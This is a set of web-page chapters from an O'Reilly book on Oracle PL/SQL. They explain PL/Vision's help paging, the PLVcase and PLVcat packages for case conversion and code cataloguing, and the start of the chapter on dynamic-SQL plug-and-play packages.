Translation: the start row is set to the next row after the current end row. The end row is set to the smaller of these two values: (a) the current end row plus another page's worth of lines or (b) the last row to be displayed in the PL/SQL table. Finally, v_more is set to TRUE just to make sure.

To help you understand how the page-management variables shift the rows being displayed, let's step through a scenario. Suppose that I have set the pagesize to 10 lines (v_pagesize) and I have 24 lines of text in my help section for the PLVprs package (PLVio.target_row). When I call PLVprs.help, the initializing call to set_more sets the page-management variables as follows:

set_more (2, 0);                  v_startrow := 2
                                  v_endrow := LEAST (10+0, 24-1) = 10

As a result, lines 2 through 10 are displayed on the screen. Then set_more is called again with the following arguments and results:

set_more (v_startrow, v_endrow);  v_startrow := v_endrow + 1 = 10 + 1 = 11
                                  v_endrow : = LEAST (10+10, 24-1) = 20

When I call PLVhlp.more to see the next page of help, lines 11 through 20 are displayed and set_more is then called with these results:

set_more (v_startrow, v_endrow);  v_startrow := v_endrow + 1 = 20 + 1 = 21
                                  v_endrow : = LEAST (10+20, 24-1) = 23

And since PLVhlp tells me so, I call PLVhlp.more to see the next page of help, lines 21 through 23; set_more is then called. This time around, v_endrow does equal the last line of text to be displayed, so v_more is set to FALSE, the PLVobj current module values are restored, and PLVhlp.more is, effectively, disabled.

This PL/SQL table-based technique for page-pausing is not as easy to use as the one built into SQL*Plus. With SQL*Plus, you simply press the Enter key to see the next page. With PLVhlp, you have to type:

SQL> exec PLVhlp.more

or, if you create a standalone procedure as I have, simply:

SQL> exec more

or, if you create a SQL script that performs the above exec, you could even simplify that to:

SQL> @more

Regardless, it's more work than what you do with SQL*Plus, but considering that it is an add-on layer of code and functionality, it's not too odious. Of course, if you do not use SQL*Plus, then we can skip the comparison and simply celebrate the ability to build such utilities in PL/SQL.

17.5.7 The Component Approach to PL/SQL Utilities

In the earlier part of the chapter, I showed you how to construct with a minimum of coding and fuss a functional utility to provide online help for PL/SQL programs. This utility consisted of a single SQL statement and it got the job (narrowly defined) done. This script did, on the other hand, have its limitations. The solution I offered in the second implementation of online help went beyond simply providing a handy tool. Instead, it took what I call a "component" approach to providing a robust environment in which PL/SQL developers can make their requests.

I take advantage of the PL/SQL package structure to allow a user of PLVhlp to modify the way help is delivered to that user. You don't simply ask to view the help text. You determine the size of a logical page of text and you control what you see when.

This shift of control to the user, this anticipation of user needs, this robustness of implementation all distinguish the powerful plug-and-play component in PL/SQL from its poor cousin, the utility. Building a component is certainly more challenging. You have to be more creative and more flexible. You have to write more code and make what you write more sophisticated. I cannot, however, understate the payoff. People (including yourself!) will use -- and reuse -- your code. They will be more productive and their programs will be noticeably less buggy and easier to maintain.

Previous: 17.4 Using PLVhlp | Advanced Oracle PL/SQL Programming with Packages | Next: 18. PLVcase and PLVcat: Converting and Analyzing PL/SQL Code
17.4 Using PLVhlp | Book Index | 18. PLVcase and PLVcat: Converting and Analyzing PL/SQL Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] PLVcase and PLVcat: Converting and Analyzing PL/SQL Code

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 17.5 Implementing PLVhlp Chapter 18 Next: 18.2 PLVcat: Cataloguing PL/SQL Source Code

18. PLVcase and PLVcat: Converting and Analyzing PL/SQL Code

Contents:
PLVcase: Converting the Case of PL/SQL Programs
PLVcat: Cataloguing PL/SQL Source Code

PL/Vision provides two packages to convert and analyze PL/SQL source code: PLVcase and PLVcat. The PLVcase (PL/Vision CASE) package converts the case of PL/SQL source code so that it conforms to the UPPER-lower method (reserved words in uppercase, application-specific identifiers in lowercase). The PLVcat (PL/Vision CATalogue) package catalogues PL/SQL source code so that you can analyze the contents of your program for cross-references, dependencies, and so on. These two packages are explored in this chapter.

18.1 PLVcase: Converting the Case of PL/SQL Programs

The PLVcase conversion package converts the case of PL/SQL source code according to the UPPER-lower method: all reserved words are converted to upper-case, while all application-specific identifiers are converted to lowercase. The consistency of case in a program -- and, in particular, the UPPER-lower standard -- aids greatly in the ability of developers to read, understand, and maintain their (and others') code.

Consider the following package body definition:

create or replace package body testcase
is
   procedure save (string_in in varchar2)
   is
      n integer := dbms_sql.open_cursor;
   begin
      update PLV_output set program = string_in;
      if sql%rowcount = 0
      then
         insert into PLV_output values (string_in);
      end if;
      PLVcmt.perform_commit;
   end;
end testcase;
/

This program is consistently indented to reveal the logical flow of the save procedure defined in the testcase package. Yet it is still difficult to read. With all the text in lowercase, the syntax and logic blurs into an indistinguishable stream of characters.

Here is the same package body after being passed through PLVcase:

PACKAGE BODY testcase
IS
   PROCEDURE save (string_in IN VARCHAR2)
   IS
      n INTEGER := DBMS_SQL.OPEN_CURSOR;
   BEGIN
      UPDATE PLV_output SET program = string_in;
      IF SQL%ROWCOUNT = 0
      THEN
         INSERT INTO PLV_output VALUES (string_in);
      END IF;
      PLVcmt.perform_commit;
   END;
END testcase;

PLVcase is a general-purpose engine for case conversion. It relies on many different packages in PL/Vision to achieve a high degree of flexibility. For example, PLVcase can read and convert PL/SQL source code from the data dictionary, an operating system file (with PL/SQL Release 2.3), and even individual string variables. You can redirect PLVcase for both read and write by making the appropriate calls to the PLVio package.

PLVcase also relies heavily on the PLVtkn package. After all, if PLVcase is going to uppercase only keywords, it has to know which identifiers in a PL/SQL program are reserved words. This information is maintained in the PLV_token table, which in turn is made available through PLVtkn (see Chapter 10, PLVprs, PLVtkn, and PLVprsps: Parsing Strings).

The body of the PLVcase package is actually rather simple considering the complexity of its task. The following sections show how to use each of the different elements of the PLVcase package.

18.1.1 The Various Conversion Procedures

PLVcase offers a sequence of procedures to convert increasingly complex text. The token procedure converts a single token.

line

Converts the text found with a record of the PLVio.line_type structure.

string

Converts the text in a simple string.

module

Converts all the lines of code in the specified module.

modules

Converts multiple programs in a single pass.

As you would expect, line uses token, string uses line, module uses line, and modules uses module.

It is easy to use the conversion programs. The more complicated aspect of PLVcase arises in determining the source of the program (data dictionary view, file, string, etc.) and the target for the converted code. This is discussed later in the chapter.

18.1.1.1 Converting a single token

The token function can take two arguments as shown in the header:

FUNCTION token (token_in IN VARCHAR2, pkg_in IN VARCHAR2 := NULL)
RETURN VARCHAR2

The second argument is an optional name of a package. If pkg_in is provided, that package name is prefixed onto the token value and then that string is case-converted.

Here is an example of using PLVcase.token to convert a single identifier:

v_newtoken := PLVcase.token (v_oldtoken);

In this second example, I request conversion of a program from the DBMS_SQL package:

v_newtoken := PLVcase.token ('open_cursor', 'dbms_sql');

In this case, v_newstring is set to OPEN_CURSOR. In other words, the package name is not prefixed onto the token name.

18.1.1.2 Converting a string

To convert the case of all tokens in a string, use one of the PLVcase.string program units. The string program is overloaded as follows:

PROCEDURE string (string_inout IN OUT VARCHAR2);
FUNCTION string (string_in IN VARCHAR2) RETURN VARCHAR2;

I provide these two versions of string to support different applications of this functionality. In some cases you just want to pass a string to the PLVcase package for conversion. In this scenario, use the string procedure as follows:

PLVcase.string (v_header);

Under other circumstances, you may want to preserve the original string value (it might, for example, be an IN parameter), as well as generating a case-converted version of the string. In this scenario, use the string function as follows:

v_newstring := PLVcase.string (original_in);

Another use of PLVcase is illustrated by the PLVgen package. This package uses PLVcase to apply the proper case to any symbolic default values provided by the user. For example, I can call PLVgen.func to generate a function with a default return value that would have mixed cases as follows:

SQL> exec PLVgen.func ('tot_sales', 1, 'sales_to_date (sysdate)');

The function name, sales_to_date, should be in lowercase, while the argument to that function, SYSDATE, should be in uppercase. The construction of the initial return value inside the PLVgen package uses the PLVcase.string function to accomplish this effect:

retval :=
   v_name || ' ' || v_datatype || ' := ' ||
   PLVcase.string (v_defval) || ';';

18.1.1.3 Converting a line

PLVcase is "PLVio-aware." It allows you to convert the text contained in a line record defined in the PLVio package. The header for the line procedure is:

PROCEDURE line
   (line_in IN OUT PLVio.line_type,
    line_out IN OUT PLVio.line_type,
    found_out OUT BOOLEAN);

Notice that the original line record is left unchanged. Instead, the modified line text is deposited in an OUT record of the same line type. The found_out parameter is set to TRUE if at least one token is found in the line's text.

The PLVcase.line procedure makes use of PLVlex.get_next_token to parse out the next token in the line's text and then convert the case using PLVtkn. The PLVcase.string function, in turn, calls PLVcase.line. Finally, the PLVcase.string procedure calls the PLVcase.string function.

To give you a sense of the layering involved, here is the body of the PLVcase.string function:

FUNCTION string (string_in IN VARCHAR2)
   RETURN VARCHAR2
IS
   line1 PLVio.line_type;
   line2 PLVio.line_type;
   code_found BOOLEAN := FALSE;
BEGIN
   first_token := TRUE;
   PLVio.initline (line1, string_in, LENGTH (string_in), 1);
   PLVio.initline (line2);
   line (line1, line2, code_found);
   IF code_found
   THEN
      RETURN line2.text;
   ELSE
      RETURN NULL;
   END IF;
END;

18.1.1.4 Converting a module

The module procedure allows you to convert all the lines of code in a specified program unit with one procedure call. The header for module is as follows:

PROCEDURE module
   (module_in IN VARCHAR2,
    cor_in IN VARCHAR2 := c_usecor,
    last_module_in IN BOOLEAN := TRUE);

The three arguments of module are explained below:

module_in

The name of the module. You can pass in an nonqualified name, such as total_sales. You can also pass in a string in the format type:name. Valid values for type are listed in the next section.

cor_in

Use this argument to pass in the constant PLVcase.c_usecor if you want PLVcase to automatically attach CREATE OR REPLACE syntax in the converted source code. You do this if you are converting source code that will be recompiled back into the database using SQL*Plus.

last_module_in

Pass in TRUE if this is the last module to be converted. The default is TRUE, since module is intended to convert a single program unit at a time. When last_module_in is TRUE, the PLVio-directed source is closed and all changes are saved. This argument is needed to allow PLVcase.modules to convert multiple program units.

The PLVcase package uses the PLVobj interface to the ALL_OBJECTS data dictionary view to identify the program or programs indicated by the user. PLVobj is flexible in interpreting your input. The following variations are allowed: name, schema.name, type:name, and type:schema.name.

PLVcase.module relies on the PLVio to determine the location or target repository for the converted source code. If you have previously executed this statement:

PLVio.settrg (PLV.pstab);

then the converted code will be placed in PLVio.target_table. If, on the other hand, you execute this statement:

PLVio.settrg (PLV.stdout);

then you see the converted code scrolled onto your screen when the conversion process is complete.

You can also convert the case of more than one module at a time by calling the modules procedure, whose header is:

PROCEDURE modules (module_spec_in IN VARCHAR2 := NULL);

The following examples using Plvcase.module and PLVcase.modules give you a sense of how you can apply this functionality in your own environment.

  1. Convert a stored function named total_sales without CREATE OR REPLACE syntax as follows:

    PLVcase.module ('f:total_sales', PLVcase.c_nousecor);

  2. Convert the case of (a) a single function and (b) all the package specifications in the current schema:

    SQL> exec PLVcase.module ('total_sales');
SQL> exec PLVcase.modules ('s:%');

In the call to PLVcase.modules I specify "s" or "specification" for the module type and "%" or "any and all" for the names of the modules.

18.1.2 A Script to Convert Programs

Most of the time when you use PLVcase on your source code, you will not simply execute a single call to a PLVcase procedure. PLVcase is too tightly integrated into and dependent on other packages in PL/Vision. For example, you first need to initialize the PLVio package so that PLVcase can find the original source code and properly write out the converted code.

I wrote the setcase.sql SQL*Plus script, shown in Example 18.1, to make it easier for developers to use PLVcase properly. This program prompts you for the module or modules you wish to convert. It then assumes that you want to read the source code from the ALL_SOURCE data dictionary -- and calls PLVio.asrc to "make it so." It also assumes that you want the converted source code simply CREATEd OR REPLACEd back into the database. It accomplishes this with the following call:

PLVio.settrg (PLV.dbtab);

This setting means that the converted code will be written to the PLV_source table. The setcase script then uses a SELECT on this table to write the new version of the source code to a command file called setcase.cmd. As a final step, setcase.sql executes the setcase.cmd file in SQL*Plus and the code is reinserted into the database.

Example 18.1: The setcase Script

SET ServerOutput ON
SET FEEDBACK OFF
SET VERIFY OFF
DELETE FROM PLV_source;
DECLARE
   modname VARCHAR2(100) := UPPER ('&1');
   modname2 VARCHAR2(100);
   modtype VARCHAR2(100);
   modschema VARCHAR2(100);
   modstring VARCHAR2(100);
   delim_loc INTEGER;
BEGIN
   IF INSTR (modname, '%') > 0 OR INSTR (modname, ':') = 0
   THEN
      /* Doing >1 module. */
      p.l ('=========================');
      p.l ('PL/Vision Case Conversion');
      p.l ('=========================');
      p.l ('Converting ' || modname || '...');
      PLVio.asrc;
      PLVio.settrg (PLV.dbtab);
      PLVcase.modules (modname);
   ELSE
      modname2 := modname;
      PLVobj.convobj (modname, modtype, modschema);
      modstring := modtype || ' ' || modname;
      p.l ('=========================');
      p.l ('PL/Vision Case Conversion');
      p.l ('=========================');
      p.l ('Converting ' || modstring || '..');
      PLVio.asrc;
      PLVio.settrg (PLV.dbtab);
      PLVcase.module (modname2);
   END IF;
END;
/
prompt Generating program creation script...
set pagesize 0
set linesize 120
set termout off
column text format a120
spool setcase.cmd
SELECT text
  FROM PLV_source
 ORDER BY
DECODE (type,
        'PACKAGE',   1, 'PACKAGE BODY', 2,
        'PROCEDURE', 3, 'FUNCTION',     4,
        5),
   name, line
/
spool off
set pagesize 25
set termout on
set feedback on
start setcase.cmd

See the sections on the PLVobj and PLVio packages for more information about how you can alter the source and target repositories for the source code converted by PLVcase. You could, for instance, convert program units stored in Oracle Forms tables in the database.

Previous: 17.5 Implementing PLVhlp | Advanced Oracle PL/SQL Programming with Packages | Next: 18.2 PLVcat: Cataloguing PL/SQL Source Code
17.5 Implementing PLVhlp | Book Index | 18.2 PLVcat: Cataloguing PL/SQL Source Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] 18.2 PLVcat: Cataloguing PL/SQL Source Code

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

18.2 PLVcat: Cataloguing PL/SQL Source Code

The PLVcat package gives you a way to parse and store (in a table-based catalogue) information about the contents of PL/SQL package specifications. You will glean information from this catalogue that is currently unavailable from the Oracle Server data dictionary.

Before describing the different areas of functionality of PLVcat, let's look at the problem PLVcat is intended to solve.

18.2.1 Knowing What You've Got

One of the tremendous advantages of storing PL/SQL programs in the database is that they can be executed by anyone granted authority to those objects. You don't have to know where the source code resides on disk; link lists and paths will not badger you in the world of PL/SQL. Yet you do face other challenges when seeking to leverage stored code -- especially on an enterprise-wide basis. These obstacles include:

  • Knowing what is available. How do you know what programs are stored where, what they are supposed to do, and how you are supposed to use them?

  • Knowing where and how programs are being used. How do you measure the impact of changing a particular program? It is often very useful to be able to answer questions like which programs use this function? How, then, is the function used?

At the time I'm writing this book, I think that it is fair to say that the potential and functionality of PL/SQL have outstripped the features of development environments using PL/SQL. Developers using PL/SQL often work within a light fog, stumbling about for information on the programs they can use. As a result, code reuse remains a lofty objective, an agreed-upon principle rarely put into practice.

Oracle provides some ability to get answers to your questions about stored PL/SQL It provides a set of data dictionary views that you can access using the SQL language. These views include:

USER_SOURCE

The source code of your stored programs. (There is also an ALL_SOURCE view, which contains the source code of all programs to which you have access.)

USER_DEPENDENCIES

Information about dependencies between all kinds of objects stored in the database.

Having this kind of information in views is a wonderful feature of an active data dictionary. But you have to ask yourself two questions: how easy is it to get the data and how good is the data? Sure, you can use SQL to retrieve the information from the views, but that can get very time-consuming and cumbersome. Suppose you want to see a list of all of the programs defined in a package specification. You could view that specification using the PLVvu.code procedure. That can at times be an overwhelming volume of information -- and it doesn't lend itself easily to generating a report showing this information in an outline view.

In the case of USER_DEPENDENCIES, the problem is not access to data; the problem is with a lack of data. This view shows you which package another object relies on, but it does not "pierce the veil" of the package to show you which element inside that package is the cause of the dependency. In other words, if my calc_totals program makes the following call:

recalc.full_analysis;

then the USER_DEPENDENCIES view shows that calc_totals is dependent on recalc. It will not, however, inform you that full_analysis is the program of the recalc package that is called by calc_totals.

PL/Vision fixes these shortcomings with a set of programs that parses the contents of your PL/SQL code and then stores the results of that process in database tables. You can then write simple SQL statements against these tables to generate reports that provide a much greater granularity of detail about your PL/SQL programs.

These elements of the PLVcat package are explained in later sections.

18.2.2 The PLVcat Database Tables

The PLVcat programs generate information about your PL/SQL code and then deposit that information in one of two database tables: PLVctlg or PLVrfrnc. These tables are created when you install PL/Vision. The PLVctlg table contains the catalogue of the contents of packages (those elements defined in the specification). The PLVrfrnc table contains the references or dependencies generated by calls to the ref programs. These tables and how to interpret their contents are explained below.

18.2.2.1 PLVctlg table

The structure of the PLVctlg table is:

CREATE TABLE PLVctlg
   (owner VARCHAR2(100),
    name1 VARCHAR2(100), /* Package name */
    name2 VARCHAR2(100), /* Element name */
    type VARCHAR2(100),  /* Same as in user_objects */
    iname VARCHAR2(100), /* Name of object inside */
    itype VARCHAR2(100), /* Type of object inside */
    idatatype VARCHAR2(100),
    overload INTEGER)

The owner, name1, name2, and type columns define the program unit for which elements have been catalogued. The name2 column is always NULL in this version of PLVcat, since PL/Vision currently catalogues only package specifications.

The "inside" columns (iname, itype, and idatatype) indicate the element found in the program unit. The idatatype column is non-NULL if the element is a function or TYPE statement. The overload column contains the number of overloadings of a particular procedure or function name. All values are stored in uppercase.

Examples of how this table is filled from calling PLVcat modules are shown later in this chapter.

18.2.2.2 PLVrfrnc table

The PLVrfrnc table contains information about the references made to external elements from within a PL/SQL program unit. The structure of this table is:

CREATE TABLE PLVrfrnc
   (owner VARCHAR2(100),
    name1 VARCHAR2(100),
    name2 VARCHAR2(100),
    type VARCHAR2(100),
    reftype VARCHAR2 (100), /* Type of reference */
    rowner VARCHAR2(100), /* Leave null if not specified */
    rname1 VARCHAR2(100), /* Package name or stand alone */
    rname2 VARCHAR2(100)  /* Null if not in package. */
   )

The owner, name1, name2, and type columns define the program unit for which references have been analyzed. The reftype, rowner, rname1, and rname2 columns define the object that is referenced inside the program unit. All values are stored in uppercase.

Examples of how this table is filled from calling PLVcat modules are shown later in this chapter.

18.2.3 Building a Catalogue

You can build a catalogue of your PL/SQL source code with the module and modules procedures. The module procedure catalogues a single program unit, while the modules procedure can handle wildcarded program names and automatically catalogue multiple program units, including all the stored code in a schema.

18.2.3.1 Cataloguing a single module

To build a catalogue of a single PL/SQL program, you call the module procedure, whose header is:

PROCEDURE module (module_in IN VARCHAR2);

You provide the name of the program you want to catalogue (currently only package specifications are supported; any types provided to the left of the : are ignored). The module program automatically sets the PLVio source repository to the ALL_SOURCE data dictionary view. It parses the source code using the PLVprsps package, searching for the definitions of any of the following PL/SQL code elements:

  • Procedure header

  • Function header

  • Cursor header

  • TYPE statement

PLVcat.module does not, in other words, currently catalogue variables, constants, exceptions, or other program elements that might appear in a PL/SQL package.

Since the module procedure works only with package specifications at this time, you do not have to tell PLVcat the type of object you want to catalogue when you call PLVcat.module. You simply provide the name of the package and it automatically scans the specification. As an example, to catalogue the PLVio package I would execute the following command in SQL*Plus:

SQL> exec PLVcat.module ('PLVio');

When control is returned back to the SQL*Plus prompt, the rows will have been written to PLVctlg and will be available for reporting and analysis. If your package is large, it may take a minute or two to complete the catalogue. String parsing and manipulation in the PL/SQL language is not known to be lightning fast.

18.2.3.2 Cataloguing multiple modules

The PLVcat.module procedure can only process a single package at a time; you cannot pass in wildcarded package names for multiple-program cataloguing in one call. The PLVcat.modules procedure offers this capability; its header is:

PROCEDURE modules (module_in IN VARCHAR2);

You can use modules to catalogue all the packages in your schema with this call:

SQL> exec PLVcat.modules ('%');

Or you can be more selective. The following call to modules will catalogue all packages in the PL/Vision library:

SQL> exec PLVcat.modules ('PLV%');

The case you use to specify the package names is not significant. All program names are stored in the data dictionary in uppercase. (All right, so if you surround your program name in double quotes you can actually create programs with names in mixed case in the data dictionary; if you do this, you deserve all the ensuing complexities!)

18.2.3.3 Examining the catalogue

To see how the PLVctlg table is populated by calls to PLVcat.module and PLVcat.modules, consider the following simplified version of the PLVtmr package specification:

PACKAGE PLVtmr
IS
   FUNCTION elapsed RETURN NUMBER;
   PROCEDURE show_elapsed;
END PLVtmr;
/

After cataloguing this package with PLVcat.module, I will have two rows in the PLVctlg table as follows:

Owner

Name1

Type

Iname

Itype

Idatatype

Overloading

PLV

PLVtmr

PACKAGE

elapsed

FUNCTION

NUMBER

1
PLV

PLVtmr

PACKAGE

show_elapsed

PROCEDURE

NULL

1

To obtain a list of all elements in the PLVtmr package, therefore, I could execute a SQL statement like this:

SELECT iname
  FROM PLVctlg
 WHERE name1 = 'PLVTMR';

To obtain a list of all functions catalogued for the PLV user account, I could execute a SQL statement like this:

SELECT iname
  FROM PLVctlg
 WHERE owner = 'PLV'
   AND itype = 'FUNCTION';

The script named inctlg.sql contains a more complex and useful SQL statement for viewing the contents of the catalogue. The code for this script is:

TTITLE 'Elements Catalogued in &1'
SET VERIFY OFF
SET PAGESIZE 66
SET LINESIZE 60
COLUMN element FORMAT A60
SELECT DECODE (idatatype, NULL, NULL, idatatype || ' ') ||
       itype || ' ' || owner || '.' ||
       name1 || '.' || iname  || ' ' ||
       DECODE (overload, 1, NULL,
               '(' || TO_CHAR(overload) || ')') element
  FROM PLVctlg
 WHERE name1 like UPPER ('&1')
 ORDER BY owner, type, name1, itype, iname;

This script accepts as a single parameter the name of the package whose catalogue you wish to view. Executing this script for the p package provides the following output:

SQL> @inctlg p
Sat Jun 01                                         page    1
               Elements Catalogued in p
ELEMENT
------------------------------------------------------------
VARCHAR2 FUNCTION PLV.P.LINESEP
VARCHAR2 FUNCTION PLV.P.PREFIX
PROCEDURE PLV.P.L (7)
PROCEDURE PLV.P.SET_LINESEP
PROCEDURE PLV.P.SET_PREFIX
PROCECURE PLV.P.TURN_OFF
PROCECURE PLV.P.TURN_ON

Notice that I am informed that the p.l procedure is overloaded seven times.

18.2.3.4 Cataloguing PL/Vision

You can generate the catalogue for PL/Vision packages by executing the plvcat.sql script, located in the plvision\use subdirectory.

The code for plvcat.sql is simply:

BEGIN
   FOR objind IN 1 .. PLV.numobjects
   LOOP
      PLVcat.module (PLV.objects(objind));
   END LOOP;
END;
/

This script takes advantage of the list of PL/Vision objects that are stored in the PLV.objects PL/SQL table. This PL/SQL table is created and assigned values in the initialization section of the PLV package. The plvcat.sql script generates 396 rows in the PLVctlg table.

18.2.4 Identifying References and Dependencies

The other major area of functionality in PLVcat is to identify the references made within a program unit to external program elements. Such a reference implies a dependency; this information can be very useful in maintaining code, analyzing reuse and impact, and so on. The Oracle7 Server does maintain some dependency information, but it is only the minimum data required by the database to validate the status of compiled code. I cannot, for example, find out from the USER_DEPENDENCIES data dictionary view how many programs use the PLVdyn.ddl procedure. The most I can determine is the set of programs that use something in PLVdyn -- and this is not enough to support adequately an enterprise-wide deployment of PL/SQL applications.

The PLVcat package offers three programs to generate dependency information right down to the name of the package element that was referenced. It even lets you catalogue references to builtin functions like SUBSTR and all the builtin package programs. The three procedures that perform this task are:

PROCEDURE refnonkw (module_in IN VARCHAR2);
PROCEDURE refbi (module_in IN VARCHAR2);
PROCEDURE refall (module_in IN VARCHAR2);

In all three cases, you pass in the name of the individual module for which you want references generated.

refnonkw

Identifies references to all non-keyword identifiers (application-specific elements).

refbi

Identifies references to all kinds of builtins.

refall

Identifies references to both non-keyword identifiers and builtins by calling refnonkw and refbi. Note that in the current implementation of refall, two passes are made against the specified module to parse the code.

The results of these scans are deposited in the PLVrfrnc table.

18.2.4.1 Examining the references

Let's look at an example of how this table is populated from the source code. Consider the testcase package:

PACKAGE BODY testcase
IS
   PROCEDURE save (string_in IN VARCHAR2)
   IS
      n INTEGER := DBMS_SQL.OPEN_CURSOR;
   BEGIN
      UPDATE PLV_output SET program = string_in;
      IF SQL%ROWCOUNT = 0
      THEN
         INSERT INTO PLV_output VALUES (string_in)
      END IF;
      PLVcmt.perform_commit;
   END;
END testcase;

After cataloguing all builtins in this package with the PLVcat.refbi, I will have four rows in the PLVrfrnc table as follows:

Owner

Name1

Name2

Type

Rowner

Rname1

Rname2

PLV

testcase

NULL

PACKAGE BODY

SYS

DBMS_SQL

OPEN_CURSOR
PLV

testcase

NULL

PACKAGE BODY

SYS

INSERT

NULL
PLV

testcase

NULL

PACKAGE BODY

SYS

ROWCOUNT

NULL
PLV

testcase

NULL

PACKAGE BODY

SYS

UPDATE

NULL

After extracting all non-keywords in this package with the PLVcat.refnonkw, I will have a single row in the PLVrfrnc table as follows:

Owner

Name1

Name2

Type

Rowner

Rname1

Rname2

PLV

testcase

NULL

PACKAGE BODY

PLV

PLVCMT

PERFORM_COMMIT

Notice that PLVcat does not currently store references to non-PL/SQL objects, such as the PLV_output table. The reason is that it uses DBMS_UTILITY.NAME_RESOLVE to locate the code and this builtin does not work with non-PL/SQL objects.

To see a list of all program units that call the SUBSTR builtin function, you could execute this query:

SELECT owner || '.' || name1 program
  FROM PLVrfrnc
 WHERE rname1 = 'SUBSTR';

To see a list of all program units that call the open_and_parse function of the PLVdyn package, you could execute this query:

SELECT owner || '.' || name1 program
  FROM PLVrfrnc
 WHERE rname1 = 'PLVdyn'
   AND rname2 = 'OPEN_AND_PARSE';

The script named inctlg.sql contains a more complex and useful SQL statement for viewing the contents of the catalogue. The code for this script is:

TTITLE 'Elements Referenced by &1'
SET VERIFY OFF
SET PAGESIZE 66
SET LINESIZE 60
COLUMN element FORMAT A60
SELECT owner || '.' ||
       name1 || ' CONTAINS ' || rname1  ||
       DECODE (rname2, NULL, NULL, '.' || rname2) element
  FROM PLVrfrnc
 WHERE name1 like UPPER ('&1')
 ORDER BY owner, type, name1, rname1, rname2;

This script accepts as a single parameter the name of the program whose references you wish to view. Executing this script for the testcase package body provides the following output:

SQL> start inrfrnc testcase
Sat Jun 01                                         page    1
              Elements Referenced by testcase
ELEMENT
------------------------------------------------------------
PLV.testcase CONTAINS DBMS_SQL.OPEN_CURSOR
PLV.testcase CONTAINS INSERT
PLV.testcase CONTAINS INSTR
PLV.testcase CONTAINS ROWCOUNT
PLV.testcase CONTAINS UPDATE
PLV.testcase CONTAINS PLVcmt.PERFORM_COMMIT

Special Notes on PLVcat

Here are some factors to consider when working with PLVcat:

  • The PLVcat package supports only the ALL_SOURCE data dictionary view as a source repository for the PL/SQL source code. Future versions of PL/Vision Professional will support reading from operating system files.

  • The build program performs a commit after completing its inserts into the PLVctlg table. The refnonkw and refbi programs perform a commit after completing their inserts into the PLVrfrnc table. These commits are executed through the PLVcmt package, so you can turn off commit processing by executing the PLVcmt.turn_off toggle (see Chapter 20, PLVcmt and PLVrb: Commit and Rollback Processing ).

Previous: 18.1 PLVcase: Converting the Case of PL/SQL Programs | Advanced Oracle PL/SQL Programming with Packages | Next: V. Plug-and-Play Packages
18.1 PLVcase: Converting the Case of PL/SQL Programs | Book Index | V. Plug-and-Play Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 19] PLVdyn and PLVfk: Dynamic SQL and PL/SQL

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: V. Plug-and-Play Packages Chapter 19 Next: 19.2 Declarative Programming in PL/SQL

19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL

Contents:
About Plug-and-Play
Declarative Programming in PL/SQL
The Dynamic Packages of PL/Vision
PLVdyn: A Code Layer over DBMS_SQL
DML Operations
PLVfk: Generic Foreign Key Lookups

This chapter describes several packages that provide a programmatic interface to the builtin DBMS_SQL package. These packages are the first in the "plug-and-play" category. Before plunging into a description of the specifics of the packages, I want to explain what I mean here by "plug-and-play" in PL/SQL code.

19.1 About Plug-and-Play

Plug-and-play packages allow you to replace whole sections of code with programs from PL/Vision packages. You essentially "plug-in" PL/SQL code and immediately gain benefits in your application. The best example of a PL/Vision plug-and-play component is the PLVexc (PL/Vision EXCeption handling) package. It provides very high-level exception-handling programs so that individual developers can simply call a procedure that describes the desired action, such as "record and continue," and PLVexc figures out what to do. It makes use of PLVlog to automatically write errors to the log of your choice (database table, PL/SQL table, etc.).

To give you a sense of plug-and-play in PL/SQL code, consider the following exception section. It has two different exception handlers: one for NO_DATA_FOUND and one for all other exceptions. When NO_DATA_FOUND is raised, I request that PLVexc display a message to the user, record the error, and then stop the program. When any other error occurs, I request that PLVexc record the error and then continue processing.

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      PLVexc.recNstop ('Company has not been located.');
   WHEN OTHERS
   THEN
      PLVexc.recNgo;
END;

So PLVexc does a lot of work for me. What's new about that? You build a module encapsulating multiple actions and then use it over and over again. That's the central concept of modularization and black-boxing of logic. Why give it a fancy name like "plug-and-play"? Maybe it's just a difference of semantics. But maybe there's more to it.

The package structure of PL/SQL offers new opportunities when it comes to modularizing code. You can think of a package as nothing more than a list of programs, a convenient way to collect together related modules. With this perspective, you will not break new ground with packages. If, on the other hand, you look upon the package as a self-contained environment or product or object, with its own internal data structures, its own set of rules, you will find that you can construct a whole -- the package -- that is considerably greater than the sum of its parts (the individual elements defined in the package).

The PLVexc package certainly hides a lot of implementational complexity from its users. The real power of PLVexc is, however, reflected not so much in what or how much it hides. Rather, its strength resides more in what it lets you accomplish in your own programs -- and how you go about doing it.

For detailed information about the PLVexc package, see Chapter 22, Exception Handling.

Previous: V. Plug-and-Play Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 19.2 Declarative Programming in PL/SQL
V. Plug-and-Play Packages | Book Index | 19.2 Declarative Programming in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

